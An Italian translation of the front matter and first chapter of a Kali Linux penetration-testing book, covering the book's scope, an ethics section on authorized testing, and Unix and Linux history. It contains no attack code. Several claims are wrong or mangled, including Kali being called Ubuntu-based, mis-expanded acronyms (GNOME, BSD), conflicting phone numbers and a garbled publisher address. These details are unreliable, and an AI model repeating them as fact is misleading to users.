Imparare Kali Linux
SECONDA EDIZIONE
Test di sicurezza, test di penetrazione e hacking etico
Ric Messier
Imparare Kali Linux
di Ric Messier
Copyright © 2024 Ric Messier. Tutti i diritti riservati.
Stampato negli Stati Uniti d'America.
Pubblicato da O'Reilly Media, Inc., 1005 Gravenstein Highway North,
Sebastopol, CA 95472.
I libri O'Reilly possono essere acquistati per uso didattico, aziendale o
promozionale. Sono disponibili anche edizioni online per la maggior parte
dei titoli ( http ://oreilly .com ). Per maggiori informazioni, contattare il
nostro reparto vendite aziendale/istituzionale: 800-998-9938 o
corporate@oreilly.com .
Redattore delle acquisizioni: Simina Calin
Responsabile sviluppo: Rita Fernando
Direttore di produzione: Ashley Stussy
Revisore di bozze: Piper Editorial Consulting, LLC
Correttore di bozze: Sharon Wilkey
Indicizzatore: Judith McConville
Interior designer: David Futato
Progettista della copertina: Karen Montgomery
Illustratore: Kate Dullea
Luglio 2018: prima edizione
Agosto 2024: Seconda edizione
Cronologia delle revisioni per la seconda
edizione
2024-08-13: Prima versione
vedere http://oreill y .com/catalo g /errata.csp?isbn=9781098154134 .
Il logo O'Reilly è un marchio registrato di O'Reilly Media, Inc. Learning Kali
Linux , l'immagine di copertina e la relativa veste grafica sono marchi di
O'Reilly Media, Inc.
Le opinioni espresse in questo lavoro sono quelle dell'autore e non
rappresentano le opinioni dell'editore. Sebbene l'editore e l'autore
abbiano compiuto sforzi in buona fede per garantire che le informazioni e
le istruzioni contenute in questo lavoro siano accurate, l'editore e l'autore
declinano ogni responsabilità per errori o omissioni, inclusa senza
limitazioni la responsabilità per danni derivanti dall'uso o dall'affidamento
a questo lavoro. L'uso delle informazioni e delle istruzioni contenute in
questo lavoro è a tuo rischio. Se qualsiasi campione di codice o altra
tecnologia contenuta o descritta in questo lavoro è soggetta a licenze open
source o ai diritti di proprietà intellettuale di altri, è tua responsabilità
assicurarti che il tuo utilizzo di tali informazioni sia conforme a tali licenze
e/o diritti. 978-1-098-15413-4
[LSI]
Dedizione
Questo libro è dedicato, in memoria, alla mia prima (e migliore) bull terrier,
Zoey.
Prefazione
Un principiante stava cercando di riparare una macchina Lisp rotta
spegnendola e riaccendendola.
Knight, vedendo cosa stava facendo lo studente, disse severamente:
"Non puoi riparare una macchina semplicemente spegnendola e
riaccendendola senza capire cosa non va".
Knight spense e riaccese la macchina.
La macchina funzionava.
— Koan dell'IA
Negli ultimi cinquant'anni, uno dei luoghi in cui si è sviluppata una
profonda cultura hacker, nel senso di apprendimento e creazione, è stato l'
Massachusetts Institute of Technology (MIT) e, in particolare, il suo
laboratorio di intelligenza artificiale. Gli hacker del MIT hanno generato un
linguaggio e una cultura che hanno creato parole e un senso dell'umorismo
unico. La citazione precedente è un koan di intelligenza artificiale,
modellato sui koan dello Zen, che avevano lo scopo di ispirare
l'illuminazione. Allo stesso modo, questo koan è uno dei miei preferiti per
quello che dice: è importante sapere come funzionano le cose. Knight , a
proposito, si riferisce a Tom Knight, un programmatore molto rispettato
presso l'AI Lab del MIT.
L'intento di questo libro è di spiegare ai lettori le capacità di Kali Linux
attraverso la lente dei test di sicurezza. L'idea è di aiutarti a comprendere
meglio come e perché funzionano gli strumenti. Kali Linux è una
distribuzione Linux orientata alla sicurezza, quindi finisce per essere
popolare tra le persone che eseguono test di sicurezza o test di
penetrazione per sport o vocazione. Sebbene abbia i suoi usi come
distribuzione Linux generica e per analisi forense e altre attività correlate, è
stata originariamente progettata con in mente i test di sicurezza. Pertanto,
la maggior parte del contenuto del libro si concentra sull'utilizzo degli
strumenti forniti da Kali. Molti di questi strumenti non sono
necessariamente facilmente disponibili con altre distribuzioni Linux.
Sebbene gli strumenti possano essere installati, a volte compilati dal codice
sorgente, l'installazione è più semplice se il pacchetto si trova nel
repository della distribuzione.
Cosa tratta questo libro
Dato che l'intenzione è quella di introdurre Kali attraverso la prospettiva di
effettuare test di sicurezza, vengono trattati i seguenti argomenti:
Fondamenti di Kali Linux
Linux ha una storia ricca, che risale agli anni '60 con Unix. Questo
capitolo copre un po' il background di Unix in modo che tu possa
capire meglio perché gli strumenti in Linux funzionano nel modo in
cui funzionano e come sfruttarli al meglio in modo efficiente.
Esamineremo anche la riga di comando, poiché dedicheremo molto
tempo lì per il resto del libro, così come i desktop disponibili in
modo che tu possa avere un ambiente di lavoro confortevole. Se sei
nuovo di Linux, questo capitolo ti preparerà ad avere successo con il
resto del libro in modo che tu non sia sopraffatto quando inizieremo
ad approfondire gli strumenti disponibili.
Nozioni di base sui test di sicurezza della rete
I servizi con cui hai più familiarità ascoltano sulla rete. Inoltre, i
sistemi che sono connessi alla rete potrebbero essere vulnerabili.
Per metterti in una posizione migliore per eseguire test sulla rete,
tratteremo alcune nozioni di base sul funzionamento dei protocolli
di rete. Quando ti addentrerai davvero nei test di sicurezza, scoprirai
che la comprensione dei protocolli con cui stai lavorando è una
risorsa inestimabile. Daremo anche un'occhiata agli strumenti che
possono essere utilizzati per lo stress test di stack e applicazioni di
rete.
Ricognizione
Quando si eseguono test di sicurezza o test di penetrazione, una
pratica comune è quella di eseguire una ricognizione sul proprio
obiettivo. Sono disponibili diverse fonti aperte per aiutarti a
raccogliere informazioni sul tuo obiettivo. La raccolta di informazioni
non solo ti aiuterà nelle fasi successive del test, ma fornirà anche
molti dettagli che puoi condividere con l'organizzazione per cui stai
eseguendo il test. Questi dettagli possono aiutarli a determinare
correttamente l'impronta dei sistemi disponibili al mondo esterno.
Dopotutto, le informazioni su un'organizzazione e sulle persone che
ne fanno parte possono fornire trampolini di lancio per gli
aggressori.
Alla ricerca di vulnerabilità
Gli attacchi contro le organizzazioni nascono dalle vulnerabilità.
Esamineremo gli scanner di vulnerabilità che possono fornire
informazioni sulle vulnerabilità tecniche (in contrapposizione a
quelle umane) che esistono nella tua organizzazione target. Ciò
porterà a suggerimenti su dove procedere da qui, poiché l'obiettivo
dei test di sicurezza è fornire informazioni all'organizzazione per cui
stai eseguendo il test su potenziali vulnerabilità ed esposizioni.
L'identificazione delle vulnerabilità ti aiuterà in questo.
Exploit automatizzati
Mentre Metasploit può essere la base per l'esecuzione di test di
sicurezza o test di penetrazione, sono disponibili anche altri
strumenti. Tratteremo le basi dell'utilizzo
Metasploit ma tratta anche alcuni degli altri strumenti disponibili
per sfruttare le vulnerabilità individuate dagli strumenti discussi in
altre parti del libro.
Possedere Metasploit
Metasploit è un software denso. Abituarsi a usarlo in modo efficace
può richiedere molto tempo. In Metasploit sono disponibili quasi
2.000 exploit, oltre a oltre 500 payload. Quando li mescoli e li
abbini, ottieni migliaia di possibilità di interazione con sistemi
remoti. Oltre a ciò, puoi creare i tuoi moduli. Parleremo di
Metasploit oltre le basi del suo utilizzo per exploit rudimentali.
Test di sicurezza wireless
Oggigiorno tutti hanno reti wireless. È così che i dispositivi mobili
come telefoni e tablet, per non parlare di molti laptop, si collegano
alle reti aziendali. Tuttavia, non tutte le reti wireless sono state
configurate nel miglior modo possibile. Kali Linux ha strumenti
disponibili per eseguire test wireless. Ciò include la scansione di reti
wireless, l'iniezione di frame e la decifrazione delle password.
Test delle applicazioni Web
Gran parte del commercio avviene tramite interfacce web. Inoltre,
molte informazioni sensibili sono disponibili tramite interfacce web.
Le aziende devono prestare attenzione a quanto siano vulnerabili le
loro importanti applicazioni web. Kali è ricco di strumenti che ti
aiuteranno a eseguire valutazioni sulle applicazioni web. Daremo
un'occhiata ai test basati su proxy e ad altri strumenti che puoi
utilizzare per test più automatizzati. L'obiettivo è aiutarti a fornire
una migliore comprensione della postura di sicurezza di queste
applicazioni all'organizzazione per cui stai eseguendo i test.
Cracking delle password
Crackare le password non è sempre un requisito, ma potrebbe
essere richiesto di testare sia i sistemi remoti che i database di
password locali per la complessità delle password e la difficoltà di
accesso remoto. Kali ha programmi che ti aiuteranno con il cracking
delle password, sia crackando gli hash delle password, come in un
file di password, sia forzando brute-force gli accessi su servizi remoti
come SSH, VNC e altri protocolli di accesso remoto.
Tecniche e concetti avanzati
Puoi usare tutti gli strumenti nell'arsenale di Kali per fare test
approfonditi. A un certo punto, però, devi andare oltre le tecniche in
scatola e sviluppare le tue. Questo può includere la creazione dei
tuoi exploit o la scrittura dei tuoi strumenti. Ottenere una migliore
comprensione di come funzionano gli exploit e di come puoi
sviluppare alcuni dei tuoi strumenti ti fornirà informazioni sulle
direzioni che puoi prendere. Tratteremo l'estensione di alcuni degli
strumenti di Kali e le basi dei linguaggi di scripting più diffusi lungo il
percorso.
Reverse Engineering e Analisi dei Programmi
Capire come funzionano i programmi può essere una parte
importante del test di vulnerabilità, poiché spesso non avrai il codice
sorgente. Inoltre, il malware richiede analisi. Per questo tipo di
lavoro sono disponibili strumenti per disassemblare, eseguire il
debug e decompilare.
Digital Forensics
Sebbene questo argomento non sia specificamente mirato ai test di
sicurezza, alcuni degli strumenti utilizzati per la forensics sono utili
da conoscere. Inoltre, è una categoria di strumenti installati da Kali
Linux. Dopo tutto, Kali è davvero una distribuzione orientata alla
sicurezza e non si limita ai test di penetrazione o ad altri test di
sicurezza.
Segnalazione
Sebbene non si tratti di test diretti, il reporting è fondamentale
perché è ciò che dovrai fare per essere pagato. Kali ha molti
strumenti che possono aiutarti a generare questo report. Parleremo
delle tecniche per prendere appunti durante il test e di alcune
strategie per generare il report.
Novità in questa edizione
Questa edizione include un nuovo capitolo sulla digital forensics, poiché
esiste una raccolta significativa di strumenti che possono essere utilizzati a
questo scopo. Oltre agli strumenti di rete come Wireshark e altri discussi in
altri capitoli, ci sono strumenti che possono essere utilizzati per la dead
disk forensics, così come per l'identificazione di malware e alcune
acquisizioni di memoria.
La sezione sul reverse engineering e l'analisi dei programmi dell'edizione
precedente è stata ampliata in un capitolo completamente nuovo. Questo
include la copertura dello strumento Ghidra sviluppato dalla NSA, così
come altri strumenti utili per il reverse engineering e l'analisi dei
programmi.
Naturalmente, qui vengono trattati i nuovi strumenti disponibili nelle
versioni aggiornate di Kali, anche se la trattazione degli strumenti di Kali
non è esaustiva, poiché gli strumenti vanno e vengono ed esistono
centinaia di pacchetti di strumenti per vari scopi legati alla sicurezza.
A chi è destinato questo libro
Sebbene speri che questo libro contenga qualcosa per lettori con un'ampia
varietà di esperienze, il pubblico principale è costituito da persone che
potrebbero avere un po' di esperienza con Linux o Unix ma che vogliono
vedere di cosa si occupa Kali. Questo libro è anche per persone che
vogliono avere una migliore padronanza dei test di sicurezza utilizzando gli
strumenti che Kali Linux ha da offrire. Se hai già esperienza con Linux, puoi
saltare il Capitolo 1 , ad esempio. Potresti anche essere qualcuno che ha
eseguito test di applicazioni web utilizzando alcuni strumenti comuni ma
desidera espandere la propria gamma a un set più ampio di competenze.
Il valore e l'importanza dell'etica
Una parola sull'etica: la vedrai uscire spesso perché è così importante che
vale la pena ripeterla. Molto spesso. I test di sicurezza richiedono il
permesso. Ciò che probabilmente farai è illegale nella maggior parte dei
posti. Sondare sistemi remoti senza permesso può metterti in un sacco di
guai. Menzionare la legalità in cima tende ad attirare l'attenzione delle
persone.
Oltre alla legalità c'è l'etica. I professionisti della sicurezza che acquisiscono
le certificazioni devono prestare giuramenti relativi alle loro pratiche
etiche. Uno dei precetti più importanti qui è non fare un uso improprio
delle risorse informative. La certificazione CISSP include un codice etico che
richiede di accettare di non fare nulla di illegale o non etico.
Eseguire test su qualsiasi sistema su cui non si ha l'autorizzazione non è
solo potenzialmente illegale, ma anche certamente non etico secondo gli
standard del nostro settore. Non è sufficiente conoscere qualcuno
nell'organizzazione che si desidera prendere di mira e ottenere la sua
autorizzazione. È necessario avere l'autorizzazione da un imprenditore o da
qualcuno con un livello di responsabilità appropriato per dartela. È anche
meglio avere l'autorizzazione per iscritto. Ciò garantisce che entrambe le
parti siano sulla stessa lunghezza d'onda. È anche importante riconoscere
l'ambito in anticipo. L'organizzazione per cui si sta eseguendo il test
potrebbe avere delle restrizioni su cosa si può fare, quali sistemi e reti si
possono toccare e durante quali orari si possono eseguire i test. Ottieni
tutto questo per iscritto. In anticipo. Questa è la tua carta "Esci di prigione
gratis". Annota l'ambito del test e poi rispettalo.
Inoltre, comunica, comunica, comunica. Fatti un favore. Non ottenere
semplicemente il permesso per iscritto e poi sparire senza far sapere al tuo
cliente cosa stai facendo. La comunicazione e la collaborazione
produrranno buoni risultati per te e per l'organizzazione per cui stai
eseguendo il test. Inoltre, è generalmente la cosa giusta da fare.
Divertitevi nel rispetto dell'etica!
Convenzioni utilizzate in questo libro
In questo libro vengono utilizzate le seguenti convenzioni tipografiche:
Corsivo
Indica nuovi termini, URL, indirizzi e-mail, nomi di file ed estensioni
di file. Utilizzato all'interno dei paragrafi per fare riferimento a
elementi di programma quali nomi di variabili o funzioni, database,
tipi di dati, variabili di ambiente, istruzioni e parole chiave.
Larghezza costante
Utilizzato per elenchi di programmi ed esempi di codice.
Larghezza costante
Mostra comandi o altro testo che l'utente deve digitare
letteralmente.
MANCIA
Questo elemento indica un consiglio o un suggerimento.
NOTA
Questo elemento indica una nota generale.
AVVERTIMENTO
Questo elemento indica un avviso o una cautela.
Apprendimento online O'Reilly
NOTA
Da oltre 40 anni, O'Reill y Media fornisce formazione, conoscenze e approfondimenti in ambito
tecnologico e aziendale per aiutare le aziende ad avere successo.
La nostra esclusiva rete di esperti e innovatori condivide le proprie
conoscenze e competenze tramite libri, articoli e la nostra piattaforma di
apprendimento online. La piattaforma di apprendimento online di O'Reilly
ti offre accesso on-demand a corsi di formazione dal vivo, percorsi di
apprendimento approfonditi, ambienti di codifica interattivi e una vasta
raccolta di testi e video di O'Reilly e di oltre 200 altri editori. Per maggiori
informazioni, visita https://oreill y .com .
Come contattarci
Per commenti e domande riguardanti questo libro, si prega di contattare
l'editore:
O'Reilly Media, Inc.
1005 Graenstein Autostrada Nord
Sebastopoli, CA 95472
800-889-8969 (negli Stati Uniti o in Canada)
707-827-7019 (internazionale o locale)
707-829-0104 (fax) supporto @ oreill y .com
https://www.oreill y .com/about/contact.html
Abbiamo una pagina web per questo libro, dove elenchiamo errata, esempi
e qualsiasi informazione aggiuntiva. Puoi accedere a questa pagina su
https://oreil.l y /learnin g -kali-linux-2e .
Per novità e informazioni sui nostri libri e corsi, visita https://oreill y .com .
Trovaci su LinkedIn: https://linkedin.com/compan y /oreill y -media
Guardaci su YouTube : https://youtube.com/oreill y media
Ringraziamenti
Grazie continue a Courtney Allen, che mi ha chiesto di scrivere la prima
edizione e mi ha procurato il mio primo libro sugli animali O'Reilly, e
naturalmente al mio agente, Carole Jelen, che ha continuato a trovarmi
cose da fare ed è stata un enorme supporto nel corso degli anni. Grazie
anche al mio editor, Rita Fernando. Grazie anche ai revisori tecnici: Ben
Trachtenberg, Dean Bushmiller e Jess Males.
Capitolo 1. Fondamenti di Kali Linux
Kali Linux è una distribuzione specializzata del sistema operativo Linux
basata su Ubuntu Linux, che a sua volta è basata su Debian Linux. Kali è
rivolta a persone che vogliono impegnarsi nel lavoro di sicurezza. Questo
può essere test di sicurezza, può essere sviluppo di exploit o reverse
engineering, o può essere informatica forense. Un'idea da tenere a mente
sulle distribuzioni Linux è che non sono la stessa cosa. Linux è in realtà solo
il kernel, il sistema operativo effettivo e il nucleo della distribuzione. Ogni
distribuzione aggiunge software aggiuntivo su quel nucleo, rendendolo
unico. Nel caso di Kali, ciò che viene aggiunto non sono solo le utilità
essenziali, ma anche centinaia di pacchetti software specifici per il lavoro di
sicurezza.
Una delle caratteristiche davvero belle di Linux, specialmente se
paragonata ad altri sistemi operativi, è che è quasi completamente
personalizzabile. Questo include la selezione della shell da cui eseguire i
programmi, che include l'ambiente terminale in cui digitare i comandi e il
desktop grafico che si utilizza. Oltre a ciò, è possibile modificare l'aspetto di
ciascuno di questi elementi una volta selezionato l'ambiente. Utilizzare
Linux consente di far funzionare il sistema nel modo desiderato per
favorire il proprio stile di lavoro, anziché far sì che il sistema imponga il
modo in cui si funziona in base a come funziona, appare e si percepisce.
Linux ha in realtà una lunga storia, se la si ripercorre a ritroso fino ai suoi
inizi. Comprendere questa storia aiuterà a fornire un contesto sul perché
Linux è come è, in particolare i comandi apparentemente arcani che
vengono utilizzati per gestire il sistema, manipolare i file e semplicemente
svolgere il lavoro.
Eredità di Linux
C'era una volta, ai tempi dei dinosauri o almeno dei computer delle
dimensioni di un frigorifero, un sistema operativo chiamato Multics .
Questo progetto di sistema operativo, iniziato nel 1964, è stato sviluppato
dal Massachusetts Institute of Technology (MIT), General Electric (GE) e
Bell Labs. L'obiettivo di Multics era supportare più utenti e offrire la
compartimentazione di processi e file in base al singolo utente. Dopotutto,
questa era un'epoca in cui l'hardware del computer necessario per
eseguire sistemi operativi come Multics costava milioni di dollari. Come
minimo, l'hardware del computer costava centinaia di migliaia di dollari.
Come termine di paragone, un sistema da 7 milioni di dollari sarebbe
costato circa 62 milioni di dollari ad aprile 2023. Avere un sistema in grado
di supportare solo un singolo utente alla volta non era semplicemente
conveniente, quindi i produttori di computer come GE erano interessati a
sviluppare Multics insieme a organizzazioni di ricerca come MIT e Bell Labs.
Inevitabilmente, a causa delle complessità e degli interessi contrastanti dei
partecipanti, il progetto andò lentamente in pezzi, anche se il sistema
operativo fu alla fine rilasciato. Uno dei programmatori assegnati al
progetto dai Bell Labs tornò al suo lavoro regolare e alla fine decise di
scrivere la sua versione di un sistema operativo per giocare a un gioco che
aveva originariamente scritto per Multics ma che voleva giocare su un PDP7 disponibile presso i Bell Labs. Il gioco si chiamava Space Travel e il
programmatore, Ken Thompson, aveva bisogno di un ambiente decente
per rielaborare il gioco per il PDP-7. A quei tempi, i sistemi erano
ampiamente incompatibili. Avevano istruzioni hardware completamente
diverse (codici operativi) e talvolta avevano diverse dimensioni delle parole
di memoria, che oggi spesso chiamiamo dimensione del bus . Di
conseguenza, i programmi scritti per un ambiente, in particolare se
venivano utilizzati linguaggi di livello molto basso, non funzionavano in un
altro ambiente. L'ambiente risultante fu chiamato Unics . Alla fine, altri
programmatori dei Bell Labs si unirono al progetto e alla fine fu rinominato
Unix .
Unix aveva un design semplice. Poiché era stato sviluppato come ambiente
di programmazione per un singolo utente alla volta, finì per essere
utilizzato, prima all'interno dei Bell Labs e poi all'esterno, da altri
programmatori. Uno dei maggiori vantaggi di Unix rispetto ad altri sistemi
operativi fu che il kernel fu riscritto nel linguaggio di programmazione C nel
1972. L'utilizzo di un linguaggio di livello superiore all'assembly, che era più
comune allora, lo rese portabile su più sistemi hardware. Invece di essere
limitato al PDP-7, Unix poteva essere eseguito su qualsiasi sistema che
avesse un compilatore C per compilare il codice sorgente necessario per
creare Unix. Ciò consentì un sistema operativo standard su numerose
piattaforme hardware.
NOTA
Il linguaggio assembly è il più vicino possibile alla scrittura in qualcosa direttamente compreso dalla
macchina senza ricorrere al binario. Il linguaggio assembly comprende mnemonici, che sono il modo
in cui gli umani si riferiscono alle operazioni che il processore comprende. Il mnemonico è solitamente
una parola breve che descrive l'operazione. L' istruzione CMP , ad esempio, confronta due valori. L'
istruzione MOV sposta i dati da una posizione all'altra. Il linguaggio assembly ti dà il controllo
completo su come funziona il programma poiché è tradotto direttamente in linguaggio macchina: i
valori binari delle operazioni del processore e gli indirizzi di memoria.
Oltre ad avere un design semplice, Unix aveva il vantaggio di essere
distribuito con il codice sorgente. Ciò consentiva ai ricercatori non solo di
leggere il codice sorgente per comprenderlo meglio, ma anche di
estendere e migliorare il codice sorgente.
Il linguaggio assembly, che veniva utilizzato in precedenza, può essere
molto difficile da leggere senza molto tempo ed esperienza. I linguaggi di
livello superiore come C rendono la lettura del codice sorgente
notevolmente più semplice. Unix ha generato molti sistemi operativi figli
che si comportavano tutti esattamente come Unix, con le stesse
funzionalità. In alcuni casi, queste altre distribuzioni di sistemi operativi
sono iniziate con il codice sorgente di Unix fornito da AT&T. In altri casi,
Unix è stato essenzialmente sottoposto a reverse engineering in base a
funzionalità documentate ed è stato il punto di partenza per due popolari
sistemi operativi simili a Unix: BSD e Linux.
NOTA
Come vedrete più avanti, uno dei vantaggi del design Unix, ovvero l'uso di programmi piccoli e
semplici che fanno una cosa ma consentono di immettere l'output di uno nell'input di un altro, è la
potenza che deriva dal concatenamento. Un uso comune di questa decisione di design è ottenere un
elenco di processi utilizzando un'utilità e immettendo l'output in un'altra utilità che elaborerà quindi
quell'output, cercando specificamente una voce o manipolando l'output per eliminarne una parte e
renderlo più facile da capire.
Informazioni su Linux
Con la diffusione di Unix, la semplicità del suo design e la sua attenzione
all'essere un ambiente di programmazione, sebbene principalmente la
disponibilità del codice sorgente, hanno portato a insegnarlo nei
programmi di informatica in tutto il mondo. Negli anni '80 sono stati scritti
diversi libri sulla progettazione di sistemi operativi basati sulla
progettazione di Unix. Sebbene l'utilizzo del codice sorgente originale
avrebbe violato il copyright, l'ampia documentazione e la semplicità del
design hanno consentito lo sviluppo di cloni. Una di queste
implementazioni è stata scritta da Andrew Tannenbaum per il suo libro
Operating Systems: Design and Implementation (Prentice Hall, 1987).
Questa implementazione, chiamata Minix , è stata la base per lo sviluppo di
Linux da parte di Linus Torvalds. Ciò che Torvalds ha sviluppato è stato il
kernel di Linux, che alcuni considerano il sistema operativo. Il kernel
consente di gestire l'hardware, incluso il processore, che consente
l'esecuzione dei processi tramite l'unità di elaborazione centrale (CPU).
Non ha fornito una struttura per gli utenti per interagire con il sistema
operativo, ovvero per eseguire programmi.
Il Progetto GNU, avviato alla fine degli anni '70 da Richard Stallman, aveva
una raccolta di programmi che erano duplicati delle utility Unix standard o
erano funzionalmente identici con nomi diversi. Il Progetto GNU scriveva
programmi principalmente in C, il che significava che potevano essere
facilmente trasferiti. Di conseguenza, Torvalds e in seguito altri
sviluppatori, raggrupparono le utility del Progetto GNU con il suo kernel
per creare una distribuzione completa di software che chiunque poteva
sviluppare e installare sul proprio sistema informatico. La raccolta di utility
GNU è talvolta (o almeno storicamente lo era) chiamata userland . Le utility
userland sono il modo in cui gli utenti interagiscono con il sistema.
Linux ha ereditato la maggior parte degli ideali di progettazione di Unix,
principalmente perché è nato come qualcosa di funzionalmente identico
allo standard Unix che era stato sviluppato da AT&T ed è stato
reimplementato da un piccolo gruppo presso l'Università della California a
Berkeley come Berkeley Systems Distribution (BSD). Ciò significava che
chiunque avesse familiarità con il funzionamento di Unix o persino BSD
poteva iniziare a usare Linux ed essere immediatamente produttivo. Nel
corso dei decenni da quando Torvalds ha rilasciato per la prima volta Linux,
sono stati avviati molti progetti per aumentare la funzionalità e la facilità
d'uso di Linux. Ciò include diversi ambienti desktop, tutti basati sul sistema
X/Windows, che è stato sviluppato per la prima volta dal MIT (che, ancora
una volta, è stato coinvolto nello sviluppo di Multics).
Lo sviluppo di Linux stesso, ovvero il kernel, ha cambiato il modo in cui
lavorano gli sviluppatori. Ad esempio, Torvalds era insoddisfatto delle
capacità dei sistemi di repository software che consentivano agli
sviluppatori concorrenti di lavorare sugli stessi file contemporaneamente.
Di conseguenza, Torvalds ha guidato lo sviluppo di Git , un sistema di
controllo delle versioni che ha ampiamente soppiantato altri sistemi di
controllo delle versioni per lo sviluppo open source. Se vuoi prendere la
versione corrente del codice sorgente dalla maggior parte dei progetti
open source odierni, probabilmente ti verrà offerto l'accesso tramite Git.
Inoltre, ora ci sono repository pubblici per i progetti in cui archiviare il loro
codice che supportano l'uso di Git, un gestore di codice sorgente, per
accedere al codice. Anche al di fuori dei progetti open source, molte (se
non la maggior parte) delle aziende hanno spostato i loro sistemi di
controllo delle versioni su Git a causa del suo approccio moderno e
decentralizzato alla gestione del codice sorgente.
MONOLITICO VERSUS MICRO
Linux è considerato un kernel monolitico . Ciò è diverso da Minix, da cui
Linux è partito, e da altre implementazioni simili a Unix che utilizzano
micro kernel. La differenza tra un kernel monolitico e un micro kernel è che
tutte le funzionalità sono integrate in un kernel monolitico. Ciò include
qualsiasi codice necessario per supportare i dispositivi hardware. Con un
micro kernel, solo il codice essenziale è incluso nel kernel. Questo è più o
meno il minimo indispensabile per mantenere il sistema operativo
funzionante. Qualsiasi funzionalità aggiuntiva richiesta per l'esecuzione
nello spazio kernel è implementata come un modulo e caricata nello spazio
kernel quando necessario. Ciò non significa che Linux non abbia moduli,
ma il kernel che è tipicamente integrato e incluso nelle distribuzioni Linux
non è un micro kernel. Poiché Linux non è progettato attorno all'idea che
solo i servizi principali siano implementati nel kernel vero e proprio, non è
considerato un micro kernel ma piuttosto un kernel monolitico.
Linux è disponibile, generalmente gratuitamente, nelle distribuzioni. Una
distribuzione Linux è una raccolta di pacchetti software selezionati dai
responsabili della distribuzione. Inoltre, i pacchetti software sono stati
creati in un modo particolare, con funzionalità determinate dal
responsabile del pacchetto. Questi pacchetti software vengono acquisiti
come codice sorgente e molti pacchetti possono avere più opzioni, se
includere il supporto del database, quale tipo di database, se abilitare la
crittografia, che devono essere abilitate quando il pacchetto viene
configurato e creato. Il responsabile del pacchetto per una distribuzione
può fare scelte diverse per le opzioni rispetto al responsabile del pacchetto
per un'altra distribuzione.
Anche le diverse distribuzioni avranno formati di pacchetto diversi.
Ad esempio, RedHat e le sue distribuzioni associate, come
RedHat Enterprise Linux (RHEL) e Fedora Core, utilizzano il formato Red Hat
Package Manager (RPM). Inoltre, Red Hat utilizza sia l'utilità RPM che
Yellowdog Updater Modified (yum) per gestire i pacchetti sul sistema. Altre
distribuzioni possono utilizzare le diverse utilità di gestione dei pacchetti
utilizzate da Debian. Debian utilizza Advanced Package Tool (APT) per
gestire i pacchetti nel formato di pacchetto Debian. Indipendentemente
dalla distribuzione o dal formato del pacchetto, l'obiettivo dei pacchetti è
raccogliere tutti i file necessari al funzionamento del software e rendere
tali file facili da mettere in atto per rendere il software funzionale. Poiché,
in definitiva, Kali Linux eredita da Debian, tramite Ubuntu, Kali utilizza
anche APT per la gestione dei pacchetti, sia dal punto di vista del formato
di pacchetto supportato sia degli strumenti utilizzati per gestire i pacchetti.
Nel corso degli anni, un'altra differenza tra le distribuzioni è stata
l'ambiente desktop fornito di default dalla distribuzione. Negli ultimi anni,
le distribuzioni hanno creato le proprie viste personalizzate sugli ambienti
desktop esistenti. Che si tratti di GNU Object Model Environment
(GNOME), K Desktop Environment (KDE) o Xfce, tutti possono essere
personalizzati con temi e sfondi e organizzazione di menu e pannelli. Le
distribuzioni spesso forniscono la propria interpretazione di un ambiente
desktop diverso. Alcune distribuzioni, come ElementaryOS, hanno persino
fornito il proprio ambiente desktop, chiamato Pantheon.
Sebbene alla fine il risultato dei gestori di pacchetti sia lo stesso, a volte la
scelta del gestore di pacchetti o persino dell'ambiente desktop può fare la
differenza per gli utenti. Inoltre, la profondità del repository dei pacchetti
può fare la differenza per alcuni utenti. Potrebbero voler avere molte
scelte nel software che possono installare tramite il repository piuttosto
che provare a creare il software a mano e installarlo. Diverse distribuzioni
possono avere repository più piccoli, anche se sono basati sulle stesse
utilità di gestione dei pacchetti e formati di altre distribuzioni. A causa
delle dipendenze software che devono essere installate prima che il
software che stai cercando funzioni, i pacchetti non sono sempre mix and
match anche tra distribuzioni correlate.
A volte, diverse distribuzioni si concentreranno su gruppi specifici di utenti
anziché essere distribuzioni generiche per chiunque desideri un desktop.
Oltre a ciò, distribuzioni come Ubuntu avranno persino distribuzioni di
installazione separate per release, come una per un'installazione server e
una per un'installazione desktop. Un'installazione desktop generalmente
include un'interfaccia utente grafica (GUI), mentre un'installazione server
non lo farà e di conseguenza installerà molti meno pacchetti. Meno
pacchetti, minore esposizione agli attacchi e i server sono spesso dove
vengono archiviate informazioni sensibili; sono anche sistemi che
potrebbero essere più facilmente esposti a utenti non autorizzati perché
forniscono servizi di rete che non si trovano comunemente nei sistemi
desktop.
Kali Linux è una distribuzione specificamente pensata per un particolare
tipo di utente, qualcuno interessato alla sicurezza informatica e alla gamma
di capacità che rientrano in quell'incredibilmente ampio ombrello. Kali
Linux, in quanto distribuzione focalizzata sulle funzioni di sicurezza, rientra
nella categoria desktop e non vi è alcuna intenzione di limitare il numero di
pacchetti installati per rendere Kali più difficile da attaccare. Qualcuno
focalizzato sui test di sicurezza avrà probabilmente bisogno di un'ampia
varietà di pacchetti software e Kali carica la sua distribuzione fin dall'inizio.
Ciò può sembrare leggermente ironico, considerando che le distribuzioni
che si concentrano sulla protezione dei loro sistemi dagli attacchi (a volte
erroneamente chiamate sicure ) tendono a limitare i pacchetti tramite un
processo chiamato hardening . Kali, tuttavia, si concentra sui test piuttosto
che sulla protezione della distribuzione dagli attacchi.
Kali Linux è gestito da Offensive Security, un'azienda che fornisce
consulenza e formazione sulla sicurezza. Inoltre, è nota per la certificazione
Offensive Security Certified Professional (OSCP), nota come una
certificazione molto pratica e pratica per le persone interessate alla
sicurezza offensiva: test di penetrazione e red teaming, ad esempio.
Acquisizione e installazione di Kali Linux
Il modo più semplice per acquisire Kali Linux è visitare il suo sito Web . Da
lì, puoi raccogliere informazioni aggiuntive sul software, come gli elenchi
dei pacchetti installati. Scaricherai un'immagine ISO che può essere
utilizzata come se stessi installando in una macchina virtuale (VM), oppure
può essere masterizzata su un DVD per l'installazione su una macchina
fisica.
Kali Linux è basato su Debian. Non è sempre stato così.
C'era un tempo in cui Kali si chiamava BackTrack Linux . BackTrack era
basato su Knoppix Linux, che è principalmente una distribuzione live, il che
significa che era progettata per l'avvio da CD, DVD o chiavetta USB ed era
eseguita dal supporto di origine anziché essere installata su un disco rigido
di destinazione. Knoppix, a sua volta, eredita da Debian. BackTrack era,
proprio come Kali Linux, una distribuzione focalizzata sui test di
penetrazione e sulla criminalistica digitale. L'ultima versione di BackTrack è
stata rilasciata nel 2012, prima che il team Offensive Security prendesse
l'idea di BackTrack e la ricostruisse per basarla su Debian Linux. Una delle
funzionalità che Kali conserva e che era disponibile in BackTrack è la
capacità di avvio live. Quando ottieni un supporto di avvio per Kali, puoi
scegliere di installare o avviare live. Nella Figura 1-1 , puoi vedere le opzioni
di avvio.
